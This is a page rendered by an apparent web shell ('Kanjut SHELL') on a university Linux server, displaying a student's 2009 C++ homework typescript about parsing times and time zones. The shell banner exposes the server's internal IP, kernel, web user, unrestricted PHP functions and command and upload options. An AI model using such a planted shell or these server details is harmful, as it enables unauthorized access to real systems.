Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.133.124.161
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/cchansen/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/cchansen/time4.txt
Script started on Fri 24 Apr 2009 01:22:36 PM EDT
[cchansen@zeus cchansen]$ cat time4.cpp
//   
//      Filename: 	time4.cpp
//      Author: 	Caitlin Hansen
//      Instructor: 	Dr. Wang	
//	Run:		./time4.out < ttt.txt
//	
//      Goal: 	The program reads a file (ttt.txt)containg times and 
//		their corresponding time zones, and output them in the 
//		order of hours, mintues, seconds, and time zone.
//

#include <iostream>
#include "time.h"
#include "exttime.h"


using namespace std;
//enum ZoneType {EST, CST, MST, PST, EDT, CDT, MDT, PDT};

int main()
{
        ExtTime myTime, meTime;

        int h, m, s;            // hh:mm:ss
        char dummy;             // consume ':'

        string str;
        ZoneType z = EST;               // str --> z

        cout << "\n\n\t The output times are: ";
	cout << endl;
        cout << "\t-----------------------";
	cout << endl;

        cin >> h >> dummy >> m >> dummy >> s >> str;

        while(cin)
        {       cout << endl;

                if(str == "MST")
                        z = MST;
                else if(str == "EST")
                        z = EST;
                else if(str == "CST")
                        z = CST;
                else if(str == "PST")
                        z = PST;
                else if(str == "EDT")
                        z = EDT;
                else if(str == "CDT")
                        z = CDT;
                else if(str == "MDT")
                        z = MDT;
                else if(str == "PDT")
                        z = PDT;

                myTime.Set(h, m, s, z);
		cout << "\t  ";
                myTime.Write();
                cout << endl;
                cin >> h >> dummy >> m >> dummy >> s >> str;
        }

        cout << "\n\n\tDone. Thank You.\n\n";
        return 0;
}

[cchansen@zeus cchansen]$ cat time4.cpppico time4.cppcd cs212pico vwcservice1.cpplspico vwcmart.cppls./time4.out < ttt.txt


	 The output times are: 
	-----------------------

	  12:30:30 MST

	  1:1:1 CST

	  8:17:23 PST


	Done. Thank You.

[cchansen@zeus cchansen]$ exit

Script done on Fri 24 Apr 2009 01:22:58 PM EDT

Stv3n404 - 2023